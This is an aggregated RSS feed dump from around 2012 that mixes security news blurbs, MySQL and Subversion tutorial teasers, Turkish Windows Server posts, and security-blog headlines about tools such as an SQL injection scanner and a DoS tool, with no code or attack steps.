<p><em>The possibilities are endless.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/ekJpPZt6-pA/">Having fun with BeEF, the browser exploitation framework</a><br/><a href="http://www.hakiri.org/blog/the-making-of-metagun/">The Making of Metagun</a><br/><a href="http://feedproxy.google.com/~r/gnucitizen/~3/hW7xDNKI7sM/">ColdFusion directory traversal FAQ (CVE-2010-2861)</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/xcMw65rISY4" height="1" width="1"/>


title: Flaw Found in Common Network Security Technology
source: http://www.linuxsecurity.com/content/view/157302?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Network firewall "middlebox" technology could unwittingly help hackers hijack an Internet connection. Middleboxes monitor the "sequence numbers" of data packets being sent to mobile devices. Middleboxes could help hackers use the process of elimination to home in on a number in the right range, then gain access to passwords.


title: The Best Encrypted Flash Drives
source: http://www.linuxsecurity.com/content/view/157305?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: If you're physically transporting data you don't want other people to see, you should be doing it on secure media. And what better than something that hides easily within a pocket? Secure flash drives that are only about the size of a small cigarette lighter feature robust hardware security to make them super secure. You'll pay a premium for the integrated security, but you can't put a price on the peace of mind you get by knowing that your data is locked down.


title: Interview with a Safecracker
source: http://www.linuxsecurity.com/content/view/157312?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Technically, the biggest difference between what a burglar does and what I do is that the burglar wants to get in and out quickly and doesn't care if the safe ever gets used again. I take my time because my objective is opening it with minimal damage so the owner can use it again.


title: Open source and the National Security Agency, together again
source: http://www.linuxsecurity.com/content/view/157313?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: The Open Source Software Institute, a non-profit group that supports open-source adoption and the National Security Agency (NSA), the organization in charge of all out of country eavesdropping, will co-host an Open Source Software Industry Day on Wednesday, May 30, 2012. 


title: Trojan poses as privacy tool, spies on Iranian surfers
source: http://www.linuxsecurity.com/content/view/157320?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Backdoored versions of a widely used privacy tool have surfaced in Iran, raising fears that its government is using the Trojanised software to spy on its citizens. 


title: Security problem in VMware vSphere 5
source: http://www.linuxsecurity.com/content/view/157321?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Security experts from ERNW have demonstrated the ability to break out of the virtualisation hypervisor of VMware ESXi 5.0 using crafted VMware images. If a provider offers customers the ability to run customer-supplied VMware images on its servers as part of an infrastructure as a service (IaaS) offering, a malicious user could access all data on the server, including other customers' user passwords and virtual machines.


title: TSP Hackers: The Naked Truth
source: http://www.linuxsecurity.com/content/view/157322?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Point is that some things, no matter how lucrative or fun they might seem, just aren't worth the risk. Example: A life of crime can be rewarding or, more often, pretty tough. One day you are on top, the next you are busted. Literally and figuratively. If Jesse James is your role model, here are some things to avoid which will add years to your time on the street - as opposed to jail.


title: For Diablo 3 Hacking, the Buck Stops Where?
source: http://www.linuxsecurity.com/content/view/157325?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: You never really know what your most controversial pieces are going to be before you write them. I figured an exploration of what it feels like to have your account hacked in a game would be a relatable topic for many who have suffered something similar. 


title: Hackers pose large threat to companies on Net
source: http://www.linuxsecurity.com/content/view/157326?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Computer hacking is a growing problem, and a growing career field. The third annual Appalachian Institute for Digital Evidence Conference at the Marshall University Forensics Lab focused on hacking and what it can mean for those fighting crime. 


title: CloudLinux Enhances Shared Hosting Security
source: http://www.linuxsecurity.com/content/view/157327?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: Cloud Linux Inc., an innovative software company serving the needs of hosting service providers, has released CageFS Version 3.5. This new version of the software features dramatic improvements in security for shared hosting companies. CageFS is a virtual file system that encapsulates each shared hosting customer in its own private virtual space. 


title: Lack of defence against hacking?
source: http://www.linuxsecurity.com/content/view/157333?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: With several government websites hacked or defaced over the last few days, members of the hacker group "Anonymous" have labelled the country's cyber security setup as a "joke", and said they could easily hack into servers of most government organisations.


title: Anonymous: The secret lives of dangerous hackers
source: http://www.linuxsecurity.com/content/view/157334?rdf
author: Anonymous
description:
<b>LinuxSecurity.com</b>: In December 2010 the heat-seeking internet pranksters known as Anonymous attacked PayPal, the online bill-paying business. PayPal had been a conduit for donations to WikiLeaks, the rogue whistle-blower site, until WikiLeaks released a huge cache of State Department internal messages. 


title: Multiple repositories and subversion
source: http://feedproxy.google.com/~r/usefuljaja/~3/jI9ANYMMnwQ/multiple-repositories-and-subversion
author: PickledOnion
description:
<p>Last time we looked at <a href="http://www.usefuljaja.com/2007/7/multiple-projects-and-subversion" title="Multiple projects and subversion">multiple projects</a> which was a nice way of serving multiple projects from the same repository.</p>

<p>But what if we wanted our projects to be completely separated? Well, serving multiple repositories is the answer.</p>


title: Litespeed - Browsing subversion repositories
source: http://feedproxy.google.com/~r/usefuljaja/~3/luE64umM1_I/litespeed-browsing-subversion-repositories
author: PickledOnion
description:
<p>Litespeed does not support browsing subversion repositories in the way that the Apache webserver does.</p>

<p>This does not leave us high and dry though as there are plenty of third party products that allow us to browse the repository quite happily whilst using svnserve to check-out and commit any changes.</p>


title: Subversion, Rails and Litespeed primer
source: http://feedproxy.google.com/~r/usefuljaja/~3/I26spTaS-Zs/subversion-rails-and-litespeed-primer
author: PickledOnion
description:
<p>You are probably using version control for you projects. Even for a lone developer, subversion makes life much easier.</p>

<p>As some point you will test your application in Litespeed. Any commits to subversion after that will include compressed files ending with .lsz and logs full of outdated files. Let's set up the application to ignore certain files when committing changes.</p>


title: Setting the MySQL root password
source: http://feedproxy.google.com/~r/usefuljaja/~3/BDOMtLb7QuI/setting-the-mysql-root-password
author: PickledOnion
description:
<p>Setting a MySQL root password is considered by some to be a waste of time. But then some also believe having a firewall or wearing a seatbelt are a waste of time.</p>

<p>Setting a MySQL root password is very simple and is the first thing you should do on installing the MySQL database.</p>


title: MySQL - creating and deleting a database
source: http://feedproxy.google.com/~r/usefuljaja/~3/D3-dK5ERRBU/mysql-creating-and-deleting-a-database
author: PickledOnion
description:
<p>Following this MySQL series will see us creating a database called 'pickled1', adding tables, columns, rows (data) and specifying MySQL users for the 'pickled1' database.</p>

<p>We can start by deleting any redundant databases and creating our new 'pickled1' database.</p>


title: Litespeed - PDF list of tutorials
source: http://feedproxy.google.com/~r/usefuljaja/~3/dpViI-_Tc3U/litespeed-pdf-list-of-tutorials
author: PickledOnion
description:
<p>I know it's old fashioned, but sometimes it's nice not to have to visit a website or read an RSS feed when you want to find a specific article.</p>

<p>As such, please feel free to download a PDF of the Litespeed articles and tutorials.</p>


title: MySQL - creating and deleting tables
source: http://feedproxy.google.com/~r/usefuljaja/~3/XmXUtuGkNgk/mysql-creating-and-deleting-tables
author: PickledOnion
description:
<p>Once you have your database created you will want some tables in there.</p>

<p>There are some application frameworks, such as Ruby on Rails, where all you have to do is create the database: the rest is done within the framework itself. However, it is always a good idea to know how to create tables.</p>


title: MySQL - creating records and adding columns
source: http://feedproxy.google.com/~r/usefuljaja/~3/x7p41Mplwug/mysql-creating-records-and-adding-columns
author: PickledOnion
description:
<p>Now we have the database and the first table created we can start adding records.</p>

<p>Again, this is very easy via the command line. We'll also add another column to the table, change existing records and delete unwanted records.</p>


title: MySQL - creating and editing users
source: http://feedproxy.google.com/~r/usefuljaja/~3/0w4iN-FOG6E/mysql-creating-and-editing-users
author: PickledOnion
description:
<p>Adding MySQL users follows the same principles as adding system users. Each user can be assigned different privileges to different databases. </p>

<p>Privileges can range from read only for a single database to full MySQL wide administrator rights.</p>


title: MySQL - reset a lost root password
source: http://feedproxy.google.com/~r/usefuljaja/~3/EFGHoIq7DqU/mysql-reset-a-lost-root-password
author: PickledOnion
description:
<p>There may well be a time where you lose or forget your MySQL root password. This may well, as you can imagine, turn out to be a complete disaster.</p>

<p>OK, so we shouldn't lose root passwords. But what happens if we do?</p>


title: Upgrading to Feisty
source: http://feedproxy.google.com/~r/usefuljaja/~3/YDsqog4MgQo/upgrading-to-feisty
author: PickledOnion
description:
<p>OK, so you've read <a href="http://www.usefuljaja.com/2007/7/why-you-shouldnt-upgrade-to-feisty" title="Why you shouldn't upgrade to Ubuntu Feisty">Why you shouldn't upgrade to Ubuntu Feisty</a> and decided you still want to use Ubuntu Feisty.</p>

<p>No problem, let's go ahead and upgrade from Ubuntu LTS to Ubuntu Feisty.</p>


title: MySQL - exporting and importing records
source: http://feedproxy.google.com/~r/usefuljaja/~3/RSIZO6fCtyc/mysql-exporting-and-importing-records
author: PickledOnion
description:
<p>Whether it is for a quick database backup or to import existing records to a new database for a server move, importing and exporting records is a basic and essential function.</p>

<p>Luckily, saving the data and moving it to a new MySQL database could not be easier.</p>


title: MySQL - searching for a record
source: http://feedproxy.google.com/~r/usefuljaja/~3/VFkc2KRHXl4/mysql-searching-for-a-record
author: PickledOnion
description:
<p>When the database has more than a handful of records, we need a way of searching for a particular record. The point of a database is to hold the information for us so we don't have to remember it all.</p>


title: The future - a.k.a. What now?
source: http://feedproxy.google.com/~r/usefuljaja/~3/5jkP_y1On_0/the-future-aka-what-now
author: PickledOnion
description:
<p>As you may know I have officially joined the ranks of <a href="http://blog.slicehost.com/articles/2007/08/31/pickledonion-joins-slicehost" title="Slicehost Blog article">Slicehost</a> as a support/article/helper type bloke (with a dreamy accent to boot!).</p>

<p>So what does that mean for usefuljaja.com?</p>


title: Yeni Windows 8 Sürümleri ve Windows Server 2012
source: http://www.serhatakinci.com/index.php/yeni-windows-surumleri.html
author: Serhat AKINCI
description:
İstemci tarafında yeni Windows 8 işletim sistemi sürümleri ve isimleri belli oldu. Bununla birlikte Sunucu tarafında da bu güne kadar Windows Server 8 olarak konuştuğumuz beta dağıtım, bundan sonra Windows Server 2012 olarak yoluna devam edecek. Windows 8 son kullanıcı tarafında 4 farklı sürüm ile geliyor. Windows 8 ve Windows 8 Pro, x86 processor&#8217;e (32bit&#38;64bit) [...]


title: Microsoft Özel Bulut Bülteni – Nisan 2012
source: http://www.serhatakinci.com/index.php/microsoft-ozel-bulut-bulteni-nisan-2012.html
author: Serhat AKINCI
description:
System Center 2012 Çıktı! Bu hafta Las Vegas’ta gerçekleşmekte olan Microsoft Management Summit (MMS) etkinliğinde System Center 2012 çözüm ailesinin dünya lansmanı yapıldı.System Center 2012 final sürümü artık Microsoft Licensing, MSDN ve Technet sitelerinden indirilip kullanılabilecek durumda. Deneme sürümünü kullanarak çözümleri test etmek isterseniz şu adresten indirebilirsiniz. MMS 2012 İstanbul 8 Mayıs Salı günü Swissotel [...]


title: Windows Server 2012
source: http://www.serhatakinci.com/index.php/windows-server-2012.html
author: Serhat AKINCI
description:
Bir süredir &#8220;Windows Server 8&#8243; olarak konuştuğumuz, henüz beta aşamasında olan ve Microsoft&#8217;un bir sonraki sunucu işletim sistemi olarak geliştirilen yeni Windows Server sürümünün adı Windows Server 2012 olarak kesinlik kazandı. Windows Server 2012 bulut için tasarlanmış bir çok yenilik ile birlikte bu güne kadar üzerinde taşıdığı bir çok özelliğin de optimize edilmiş hallerini içeriyor. [...]


title: Microsoft Management Summit 2012 – Istanbul
source: http://www.serhatakinci.com/index.php/microsoft-management-summit-2012-istanbul.html
author: Serhat AKINCI
description:
8 Mayıs Salı günü İstanbul Swissotel Bosphorus’ta gerçekleşecek Microsoft Yönetim Zirvesi 2012’de Türkiye’nin en önemli BT profesyonelleri sektörün öncüleriyle bir araya geliyor. Nisan ayında ilki Las Vegas’da düzenlenen ve en çok talep gören etkinliklerden biri olan MMS, Las Vegas etkinliğini takiben dünyada sadece sayılı ülkede yapılıyor. İstanbul’da yapılacak bu etkinlikte; System Center 2012 Windows Server [...]


title: Webcast – Hyper-V Replica
source: http://www.serhatakinci.com/index.php/webcast-hyper-v-replica.html
author: Serhat AKINCI
description:
29 Mayıs 2012 Salı günü öğleden önce 10:30-11:30 arasında Windows Server 2012 Hyper-V &#8216;de yer alan Hyper-V Replica özelliğini konuşacağımız bir webcast yapıyoruz. Microsoft’un bir sonraki sunucu işletim sistemi olarak geliştirilen Windows Server 2012 &#8216;de yer alan yeni Hyper-V özelliklerinden olan Hyper-V Replica ile ilgili kısa ön bilgiyi şuradan okuyabilirsiniz. Daha fazlası ise Webcast&#8217;de&#8230; Bu webcast&#8217;in öğleden önce olduğunun [...]


title: Tor Browser on iOS
source: http://feedproxy.google.com/~r/r00tsecblog/~3/OrXJ2X-DIPw/tor-browser-on-ios.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/v01MGAPSVbZoj91E0DjtOXseaak/0/da"><img src="http://feedads.g.doubleclick.net/~a/v01MGAPSVbZoj91E0DjtOXseaak/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/v01MGAPSVbZoj91E0DjtOXseaak/1/da"><img src="http://feedads.g.doubleclick.net/~a/v01MGAPSVbZoj91E0DjtOXseaak/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/OrXJ2X-DIPw" height="1" width="1"/>


title: Skype user IP-address disclosure
source: http://feedproxy.google.com/~r/r00tsecblog/~3/yhf4ROvKEU0/skype-user-ip-address-disclosure.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/nDtrGglssPqxI1bZbmfJ5rKQyHc/0/da"><img src="http://feedads.g.doubleclick.net/~a/nDtrGglssPqxI1bZbmfJ5rKQyHc/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/nDtrGglssPqxI1bZbmfJ5rKQyHc/1/da"><img src="http://feedads.g.doubleclick.net/~a/nDtrGglssPqxI1bZbmfJ5rKQyHc/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/yhf4ROvKEU0" height="1" width="1"/>


title: Hotmail, AOL and Yahoo Password Reset 0Day Vulnerabilities
source: http://feedproxy.google.com/~r/r00tsecblog/~3/sg2IASyg3IU/hotmail-aol-and-yahoo-password-reset.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/KjFuxK9EtDC70cU4o6FzXt0LVmA/0/da"><img src="http://feedads.g.doubleclick.net/~a/KjFuxK9EtDC70cU4o6FzXt0LVmA/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/KjFuxK9EtDC70cU4o6FzXt0LVmA/1/da"><img src="http://feedads.g.doubleclick.net/~a/KjFuxK9EtDC70cU4o6FzXt0LVmA/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/sg2IASyg3IU" height="1" width="1"/>


title: Permanent Reverse Backdoor for IPhone / IPad By CoreSec
author: noreply@blogger.com (Sumate jitpukdebodin)
source:
http://feedproxy.google.com/~r/r00tsecblog/~3/lenAnrN2QqQ/permanent-reverse-backdoor-for-iphone.html

description:
<p><a href="http://feedads.g.doubleclick.net/~a/Zq8xdSzVLcs5o_Bc9nbQM19kBRY/0/da"><img src="http://feedads.g.doubleclick.net/~a/Zq8xdSzVLcs5o_Bc9nbQM19kBRY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Zq8xdSzVLcs5o_Bc9nbQM19kBRY/1/da"><img src="http://feedads.g.doubleclick.net/~a/Zq8xdSzVLcs5o_Bc9nbQM19kBRY/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/lenAnrN2QqQ" height="1" width="1"/>


title: Interesting Public Vulnerabilities (2012-05-04)
author: noreply@blogger.com (Sumate jitpukdebodin)
source:
http://feedproxy.google.com/~r/r00tsecblog/~3/fVqjb1xgFWE/interesting-public-vulnerabilities-2012.html

description:
<p><a href="http://feedads.g.doubleclick.net/~a/QFZKFl1QHB8p5_stQ_zPC0rQGH0/0/da"><img src="http://feedads.g.doubleclick.net/~a/QFZKFl1QHB8p5_stQ_zPC0rQGH0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/QFZKFl1QHB8p5_stQ_zPC0rQGH0/1/da"><img src="http://feedads.g.doubleclick.net/~a/QFZKFl1QHB8p5_stQ_zPC0rQGH0/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/fVqjb1xgFWE" height="1" width="1"/>


title: NMAP Script - NSE for detecting vulnerable PHP-CGI setups (CVE2012-1823)
source: http://feedproxy.google.com/~r/r00tsecblog/~3/vnBmcGB_uD0/nmap-script-nse-for-detecting.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/sgp3NL2M8U96Q8VEZvgayvX3OwE/0/da"><img src="http://feedads.g.doubleclick.net/~a/sgp3NL2M8U96Q8VEZvgayvX3OwE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/sgp3NL2M8U96Q8VEZvgayvX3OwE/1/da"><img src="http://feedads.g.doubleclick.net/~a/sgp3NL2M8U96Q8VEZvgayvX3OwE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/vnBmcGB_uD0" height="1" width="1"/>


title: sqlcake - Automatic SQL injection and database information gathering tool.
source: http://feedproxy.google.com/~r/r00tsecblog/~3/OOWE5ixH3Jw/sqlcake-automatic-sql-injection-and.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/BeLwF6OQrimXDWzDIxK7scN4r_g/0/da"><img src="http://feedads.g.doubleclick.net/~a/BeLwF6OQrimXDWzDIxK7scN4r_g/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/BeLwF6OQrimXDWzDIxK7scN4r_g/1/da"><img src="http://feedads.g.doubleclick.net/~a/BeLwF6OQrimXDWzDIxK7scN4r_g/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/OOWE5ixH3Jw" height="1" width="1"/>


title: WebVulScan - web application vulnerability scanner
source: http://feedproxy.google.com/~r/r00tsecblog/~3/FC5eRjIdAhM/webvulscan-web-application.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/d4q-KBLKf0M4NvqHmA_ULcXSOWg/0/da"><img src="http://feedads.g.doubleclick.net/~a/d4q-KBLKf0M4NvqHmA_ULcXSOWg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/d4q-KBLKf0M4NvqHmA_ULcXSOWg/1/da"><img src="http://feedads.g.doubleclick.net/~a/d4q-KBLKf0M4NvqHmA_ULcXSOWg/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/FC5eRjIdAhM" height="1" width="1"/>


title: Nice backdoor, ZTE.
source: http://feedproxy.google.com/~r/r00tsecblog/~3/c_Uuism2U-A/nice-backdoor-zte.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/RxRci86LotkP8SXRA6fVLX2g9i8/0/da"><img src="http://feedads.g.doubleclick.net/~a/RxRci86LotkP8SXRA6fVLX2g9i8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/RxRci86LotkP8SXRA6fVLX2g9i8/1/da"><img src="http://feedads.g.doubleclick.net/~a/RxRci86LotkP8SXRA6fVLX2g9i8/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/c_Uuism2U-A" height="1" width="1"/>


title: LFI with SQL Injection
source: http://feedproxy.google.com/~r/r00tsecblog/~3/wXrmrT4Bh2U/lfi-with-sql-injection.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/a-xvAkQlvFfuI_aBlmF3cstdm9I/0/da"><img src="http://feedads.g.doubleclick.net/~a/a-xvAkQlvFfuI_aBlmF3cstdm9I/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/a-xvAkQlvFfuI_aBlmF3cstdm9I/1/da"><img src="http://feedads.g.doubleclick.net/~a/a-xvAkQlvFfuI_aBlmF3cstdm9I/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/wXrmrT4Bh2U" height="1" width="1"/>


title: HULK, Web Server DoS Tool
source: http://feedproxy.google.com/~r/r00tsecblog/~3/2O0BTHEp3go/hulk-web-server-dos-tool.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/wKD6ykLNoDKQiyMzoYJsz5eL2e4/0/da"><img src="http://feedads.g.doubleclick.net/~a/wKD6ykLNoDKQiyMzoYJsz5eL2e4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/wKD6ykLNoDKQiyMzoYJsz5eL2e4/1/da"><img src="http://feedads.g.doubleclick.net/~a/wKD6ykLNoDKQiyMzoYJsz5eL2e4/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/2O0BTHEp3go" height="1" width="1"/>


title: Revelo: The Javascript Deobfuscator!
source: http://feedproxy.google.com/~r/r00tsecblog/~3/jT9T1MeqxLM/revelo-javascript-deobfuscator.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/qpD9bP2UVP7kd3-PWOS6hO-7ty0/0/da"><img src="http://feedads.g.doubleclick.net/~a/qpD9bP2UVP7kd3-PWOS6hO-7ty0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/qpD9bP2UVP7kd3-PWOS6hO-7ty0/1/da"><img src="http://feedads.g.doubleclick.net/~a/qpD9bP2UVP7kd3-PWOS6hO-7ty0/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/jT9T1MeqxLM" height="1" width="1"/>


title: IOSEC - HTTP Anti Flood Security Gateway Module
author: noreply@blogger.com (Sumate jitpukdebodin)
source:
http://feedproxy.google.com/~r/r00tsecblog/~3/bS52ZMUIidI/iosec-http-anti-flood-security-gateway.html

description:
<p><a href="http://feedads.g.doubleclick.net/~a/HI7yrHCcD15yKek5Nn5PJil2X7s/0/da"><img src="http://feedads.g.doubleclick.net/~a/HI7yrHCcD15yKek5Nn5PJil2X7s/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/HI7yrHCcD15yKek5Nn5PJil2X7s/1/da"><img src="http://feedads.g.doubleclick.net/~a/HI7yrHCcD15yKek5Nn5PJil2X7s/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/bS52ZMUIidI" height="1" width="1"/>


title: วิธีการทดสอบเจาะระบบเว็บไซด์ที่ใช้ CMS ชื่อดัง
source: http://feedproxy.google.com/~r/r00tsecblog/~3/PBlwGDxNJw8/cms.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/BdjcJKqGhSwva8yBY5iWqqlDCl8/0/da"><img src="http://feedads.g.doubleclick.net/~a/BdjcJKqGhSwva8yBY5iWqqlDCl8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/BdjcJKqGhSwva8yBY5iWqqlDCl8/1/da"><img src="http://feedads.g.doubleclick.net/~a/BdjcJKqGhSwva8yBY5iWqqlDCl8/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/PBlwGDxNJw8" height="1" width="1"/>


title: ป้องกันเด็กเข้าเว็บไม่เหมาะสมด้วย Open DNS
source: http://feedproxy.google.com/~r/r00tsecblog/~3/B9H-3RDzihY/open-dns.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/zs68eolApB5kcL2pC4oEzZOYpcs/0/da"><img src="http://feedads.g.doubleclick.net/~a/zs68eolApB5kcL2pC4oEzZOYpcs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/zs68eolApB5kcL2pC4oEzZOYpcs/1/da"><img src="http://feedads.g.doubleclick.net/~a/zs68eolApB5kcL2pC4oEzZOYpcs/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/B9H-3RDzihY" height="1" width="1"/>


title: PDF Examiner
source: http://feedproxy.google.com/~r/r00tsecblog/~3/TtAa1MXaecA/pdf-examiner.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/OK7J00188PuMRmTeqJ6EoqvOq5w/0/da"><img src="http://feedads.g.doubleclick.net/~a/OK7J00188PuMRmTeqJ6EoqvOq5w/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/OK7J00188PuMRmTeqJ6EoqvOq5w/1/da"><img src="http://feedads.g.doubleclick.net/~a/OK7J00188PuMRmTeqJ6EoqvOq5w/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/TtAa1MXaecA" height="1" width="1"/>


title: Wordpress version finder
source: http://feedproxy.google.com/~r/r00tsecblog/~3/KvMaPqH78zQ/wordpress-version-finder.html
author: noreply@blogger.com (Sumate jitpukdebodin)
description:
<p><a href="http://feedads.g.doubleclick.net/~a/T_SwfmdkOcnbFCMtMKIBKtZdhjg/0/da"><img src="http://feedads.g.doubleclick.net/~a/T_SwfmdkOcnbFCMtMKIBKtZdhjg/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/T_SwfmdkOcnbFCMtMKIBKtZdhjg/1/da"><img src="http://feedads.g.doubleclick.net/~a/T_SwfmdkOcnbFCMtMKIBKtZdhjg/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/r00tsecblog/~4/KvMaPqH78zQ" height="1" width="1"/>


